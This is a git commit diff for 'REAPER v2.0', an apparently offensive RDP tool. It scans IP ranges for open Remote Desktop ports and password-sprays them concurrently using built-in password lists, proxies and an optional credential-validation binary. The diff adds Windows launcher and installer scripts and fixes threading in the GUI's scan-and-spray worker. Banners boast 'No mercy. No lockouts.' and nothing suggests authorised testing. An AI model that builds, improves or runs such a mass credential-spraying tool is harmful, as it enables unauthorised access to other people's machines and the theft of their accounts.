Fixed scan crash: all tkinter widget access now happens on main thread (Tcl NOT thread-safe). _log() routes GUI updates via root.after(). _scan_worker reads all tkinter vars on main thread. Removed unused _spray_queue.
This commit is contained in:
106
MASTERSTER.bat
Normal file
106
MASTERSTER.bat
Normal file
@@ -0,0 +1,106 @@
|
||||
@echo off
|
||||
title REAPER v2.0 - MASTERSTER
|
||||
color 0C
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: ── FORCE UTF-8 ──────────────────────────────────────────────
|
||||
set PYTHONIOENCODING=utf-8
|
||||
|
||||
:: ── BANNER ───────────────────────────────────────────────────
|
||||
cls
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 - MASTERSTER ☠ ║
|
||||
echo ║ Remote Exploitation ^& Password Enumeration Routine ║
|
||||
echo ║ ║
|
||||
echo ║ One swoop. One reaping. No mercy. ║
|
||||
echo ╚══════════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
echo Made for doom by drjones.
|
||||
echo.
|
||||
|
||||
:: ── STEP 1: CHECK PYTHON ────────────────────────────────────
|
||||
echo [*] Step 1/6 — Checking Python...
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [FAIL] Python is not installed or not in PATH!
|
||||
echo.
|
||||
echo Download Python 3.8+ from: https://python.org/downloads
|
||||
echo Make sure to check "Add Python to PATH" during installation.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||
echo [OK] Python %pyver% found
|
||||
echo.
|
||||
|
||||
:: ── STEP 2: INSTALL DEPENDENCIES ────────────────────────────
|
||||
echo [*] Step 2/6 — Installing dependencies (aiohttp, aiohttp-socks)...
|
||||
echo.
|
||||
python -m pip install --upgrade pip -q
|
||||
python -m pip install aiohttp aiohttp-socks -q
|
||||
if %errorlevel% neq 0 (
|
||||
echo [WARN] pip install had issues, but continuing...
|
||||
) else (
|
||||
echo [OK] Dependencies installed
|
||||
)
|
||||
echo.
|
||||
|
||||
:: ── STEP 3: CREATE DIRECTORIES ──────────────────────────────
|
||||
echo [*] Step 3/6 — Creating directories...
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] Directories ready
|
||||
echo.
|
||||
|
||||
:: ── STEP 4: VERIFY FILES ────────────────────────────────────
|
||||
echo [*] Step 4/6 — Verifying project files...
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||
set ALL_OK=1
|
||||
for %%f in (%FILES%) do (
|
||||
if exist "%%f" (
|
||||
echo [OK] %%f
|
||||
) else (
|
||||
echo [WARN] %%f not found
|
||||
set ALL_OK=0
|
||||
)
|
||||
)
|
||||
if not exist "results\good.txt" (
|
||||
echo. > "results\good.txt"
|
||||
echo [OK] Created results\good.txt
|
||||
)
|
||||
echo.
|
||||
|
||||
:: ── STEP 5: TEST IMPORTS ────────────────────────────────────
|
||||
echo [*] Step 5/6 — Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] All modules loaded')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
echo [OK] All systems nominal
|
||||
echo.
|
||||
|
||||
:: ── STEP 6: LAUNCH ──────────────────────────────────────────
|
||||
echo [*] Step 6/6 — Launching the Reaper...
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||
echo ║ No mercy. No lockouts. Just results. ║
|
||||
echo ║ ║
|
||||
echo ║ The network is a graveyard, and I'm the reaper. ║
|
||||
echo ╚══════════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
echo Made for doom by drjones.
|
||||
echo.
|
||||
|
||||
python main.py
|
||||
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [!] REAPER encountered an error. Check the output above.
|
||||
pause
|
||||
)
|
||||
84
REAPER.bat
84
REAPER.bat
@@ -1,84 +0,0 @@
|
||||
@echo off
|
||||
title REAPER v2.0 - All-in-one launcher
|
||||
color 0C
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: ============================================================================
|
||||
:: Single-file entry: Python check, pip deps, folders, smoke test, launch GUI
|
||||
:: ============================================================================
|
||||
|
||||
set PYTHONIOENCODING=utf-8
|
||||
set PYTHONUNBUFFERED=1
|
||||
|
||||
cls
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════════════════════════╗
|
||||
echo ║ REAPER v2.0 — ALL-IN-ONE ║
|
||||
echo ║ deps · env · launch ║
|
||||
echo ╚══════════════════════════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
echo [1/6] Python...
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Python not in PATH. Install 3.8+ from https://python.org/downloads
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||
echo [OK] %pyver%
|
||||
echo.
|
||||
|
||||
echo [2/6] Dependencies ^(pip^)...
|
||||
python -m pip install --upgrade pip -q
|
||||
if exist "requirements.txt" (
|
||||
python -m pip install -r requirements.txt -q
|
||||
) else (
|
||||
python -m pip install aiohttp aiohttp-socks -q
|
||||
)
|
||||
if %errorlevel% neq 0 (
|
||||
echo [WARN] pip reported an issue — continuing
|
||||
) else (
|
||||
echo [OK] Requirements satisfied
|
||||
)
|
||||
echo.
|
||||
|
||||
echo [3/6] Directories...
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] wordlists, results
|
||||
echo.
|
||||
|
||||
echo [4/6] Project files ^& optional rdpthread.exe...
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py proxy.py
|
||||
for %%f in (%FILES%) do (
|
||||
if exist "%%f" ( echo [OK] %%f ) else ( echo [WARN] missing %%f )
|
||||
)
|
||||
if not exist "results\good.txt" echo. > "results\good.txt"
|
||||
if exist "rdpthread.exe" (
|
||||
echo [OK] rdpthread.exe — credential validation available
|
||||
) else (
|
||||
echo [--] rdpthread.exe optional — bundle for verified spray
|
||||
)
|
||||
echo.
|
||||
|
||||
echo [5/6] Import smoke test...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; from proxy import ProxyManager; print(' [OK] imports')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import check failed.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
echo.
|
||||
|
||||
echo [6/6] Starting application...
|
||||
echo.
|
||||
python main.py
|
||||
set APP_EXIT=%errorlevel%
|
||||
|
||||
if %APP_EXIT% neq 0 (
|
||||
echo.
|
||||
echo [!] Exited with code %APP_EXIT%
|
||||
pause
|
||||
)
|
||||
exit /b %APP_EXIT%
|
||||
64
gui.py
64
gui.py
@@ -94,7 +94,6 @@ class FastRDPGUI:
|
||||
self.users_file = os.path.join(WORDLISTS_DIR, "users.txt")
|
||||
self.passwords_file = os.path.join(WORDLISTS_DIR, "passwords.txt")
|
||||
self._metric_labels: dict = {}
|
||||
self._spray_queue: asyncio.Queue = None
|
||||
|
||||
# Proxy manager
|
||||
self.proxy_manager = ProxyManager()
|
||||
@@ -758,11 +757,8 @@ class FastRDPGUI:
|
||||
# ── LOGGING ────────────────────────────────────────────
|
||||
def _log(self, msg: str, tag: str = "info"):
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
try:
|
||||
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||
self.log_text.see("end")
|
||||
except tk.TclError:
|
||||
pass
|
||||
# Schedule GUI update on main thread (tkinter is NOT thread-safe)
|
||||
self.root.after(0, lambda m=msg, t=tag, ts=ts: self._log_gui(m, t, ts))
|
||||
tag_colors = {
|
||||
"hit": "\033[92m",
|
||||
"info": "\033[94m",
|
||||
@@ -777,6 +773,14 @@ class FastRDPGUI:
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _log_gui(self, msg: str, tag: str, ts: str):
|
||||
"""Thread-safe GUI log append (runs on main thread via after())."""
|
||||
try:
|
||||
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||
self.log_text.see("end")
|
||||
except tk.TclError:
|
||||
pass
|
||||
|
||||
# ── RDP CONNECT FEATURE ────────────────────────────────
|
||||
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
|
||||
"""Launch Windows mstsc (or store creds + launch) for given host."""
|
||||
@@ -979,7 +983,22 @@ class FastRDPGUI:
|
||||
print(_c("\033[96m", " \u2502 ") + _c("\033[91m", "REAPER v2.0 :: RDP Reaper :: No Mercy") + _c("\033[96m", " \u2502"))
|
||||
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
|
||||
|
||||
thread = threading.Thread(target=self._scan_worker, daemon=True)
|
||||
# Read tkinter vars on MAIN thread (Tcl NOT thread-safe)
|
||||
scan_speed = self.speed_var.get()
|
||||
scan_timeout = self.timeout_var.get()
|
||||
scan_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
scan_randomize = self.randomize_var.get()
|
||||
spray_enabled = self.spray_var.get()
|
||||
ranges_path = self.ranges_entry.get().strip() if self.ranges_entry.get().strip() else ""
|
||||
users_file = self.users_entry.get().strip() if self.users_entry.get().strip() else ""
|
||||
pass_file = self.pass_entry.get().strip() if self.pass_entry.get().strip() else ""
|
||||
|
||||
thread = threading.Thread(
|
||||
target=self._scan_worker,
|
||||
args=(scan_speed, scan_timeout, scan_ports, scan_randomize, spray_enabled,
|
||||
ranges_path, users_file, pass_file),
|
||||
daemon=True
|
||||
)
|
||||
thread.start()
|
||||
|
||||
def _stop_scan(self):
|
||||
@@ -997,19 +1016,25 @@ class FastRDPGUI:
|
||||
self.log_text.delete("1.0", "end")
|
||||
self.stats = ScanStats()
|
||||
|
||||
def _load_wordlists(self):
|
||||
def _load_wordlists(self, users_path="", pass_path=""):
|
||||
"""Load usernames and passwords from files (or use defaults)."""
|
||||
usernames = TOP_USERNAMES
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
uf = self.users_entry.get().strip()
|
||||
if users_path:
|
||||
uf = users_path
|
||||
else:
|
||||
uf = self.users_entry.get().strip()
|
||||
if os.path.exists(uf):
|
||||
with open(uf, 'r', errors='ignore') as f:
|
||||
cu = [l.strip() for l in f if l.strip()]
|
||||
if cu:
|
||||
usernames = cu
|
||||
|
||||
pf = self.pass_entry.get().strip()
|
||||
if pass_path:
|
||||
pf = pass_path
|
||||
else:
|
||||
pf = self.pass_entry.get().strip()
|
||||
if os.path.exists(pf):
|
||||
with open(pf, 'r', errors='ignore') as f:
|
||||
cp = [l.strip() for l in f if l.strip()]
|
||||
@@ -1018,14 +1043,16 @@ class FastRDPGUI:
|
||||
|
||||
return usernames, passwords
|
||||
|
||||
def _scan_worker(self):
|
||||
"""Background thread: scan + spray run CONCURRENTLY."""
|
||||
def _scan_worker(self, speed, timeout, active_ports, randomize, spray_enabled,
|
||||
ranges_path="", users_path="", pass_path=""):
|
||||
"""Background thread: scan + spray run CONCURRENTLY.
|
||||
All tkinter values are passed from main thread (Tcl NOT thread-safe).
|
||||
"""
|
||||
try:
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
|
||||
ranges_path = self.ranges_entry.get().strip()
|
||||
if not os.path.exists(ranges_path):
|
||||
if not ranges_path or not os.path.exists(ranges_path):
|
||||
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
|
||||
self._scan_done()
|
||||
return
|
||||
@@ -1040,15 +1067,12 @@ class FastRDPGUI:
|
||||
self._scan_done()
|
||||
return
|
||||
|
||||
if self.randomize_var.get():
|
||||
if randomize:
|
||||
random.shuffle(ips)
|
||||
|
||||
active_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
if not active_ports:
|
||||
active_ports = [3389]
|
||||
|
||||
speed = self.speed_var.get()
|
||||
timeout = self.timeout_var.get()
|
||||
self.stats.total = len(ips) * len(active_ports)
|
||||
|
||||
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
|
||||
@@ -1059,7 +1083,7 @@ class FastRDPGUI:
|
||||
print(_c("\033[90m", " [+] " + "\u2500" * 55))
|
||||
|
||||
# Load wordlists now (in the background thread, before async loop)
|
||||
usernames, passwords = self._load_wordlists()
|
||||
usernames, passwords = self._load_wordlists(users_path, pass_path)
|
||||
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
|
||||
|
||||
# ── Streaming design ─────────────────────────────
|
||||
@@ -1078,7 +1102,7 @@ class FastRDPGUI:
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if self.spray_var.get():
|
||||
if spray_enabled:
|
||||
# Create an asyncio task for this host's spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
|
||||
65
install.bat
Normal file
65
install.bat
Normal file
@@ -0,0 +1,65 @@
|
||||
@echo off
|
||||
title REAPER v2.0 - Installer
|
||||
color 0C
|
||||
cd /d "%~dp0"
|
||||
echo.
|
||||
echo ╔═══════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 Installer ☠ ║
|
||||
echo ║ Remote Exploitation ^& Password Enumeration ║
|
||||
echo ╚═══════════════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
:: Check Python
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Python is not installed or not in PATH!
|
||||
echo.
|
||||
echo Download Python 3.8+ from: https://python.org/downloads
|
||||
echo Make sure to check "Add Python to PATH" during installation.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||
echo [OK] Python %pyver% found
|
||||
|
||||
:: Create directories
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] Directories created
|
||||
|
||||
:: Verify core files exist
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
|
||||
for %%f in (%FILES%) do (
|
||||
if exist "%%f" (
|
||||
echo [OK] %%f
|
||||
) else (
|
||||
echo [WARN] %%f not found
|
||||
)
|
||||
)
|
||||
|
||||
:: Create initial good.txt
|
||||
if not exist "results\good.txt" (
|
||||
echo. > "results\good.txt"
|
||||
echo [OK] Created results\good.txt
|
||||
)
|
||||
|
||||
:: Test import
|
||||
echo.
|
||||
echo Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════╗
|
||||
echo ║ Installation Complete! ║
|
||||
echo ║ ║
|
||||
echo ║ Run: run.bat or python main.py ║
|
||||
echo ╚══════════════════════════════════════════╝
|
||||
echo.
|
||||
pause
|
||||
1
results/good.txt
Normal file
1
results/good.txt
Normal file
@@ -0,0 +1 @@
|
||||
|
||||
23
run.bat
Normal file
23
run.bat
Normal file
@@ -0,0 +1,23 @@
|
||||
@echo off
|
||||
title REAPER v2.0 - RDP Exploitation Framework
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
|
||||
set PYTHONIOENCODING=utf-8
|
||||
color 0C
|
||||
|
||||
echo.
|
||||
echo ╔═══════════════════════════════════════════════════╗
|
||||
echo ║ ☠ REAPER v2.0 ☠ ║
|
||||
echo ║ Remote Exploitation ^& Password Enumeration ║
|
||||
echo ║ Launching the Reaper... ║
|
||||
echo ╚═══════════════════════════════════════════════════╝
|
||||
echo.
|
||||
python main.py
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [!] Python not found or error occurred.
|
||||
echo [!] Make sure Python 3.8+ is installed and in PATH.
|
||||
echo [!] Download: https://python.org/downloads
|
||||
pause
|
||||
)
|
||||
3
wordlists/ports.txt
Normal file
3
wordlists/ports.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
3389
|
||||
3390
|
||||
3391
|
||||
Reference in New Issue
Block a user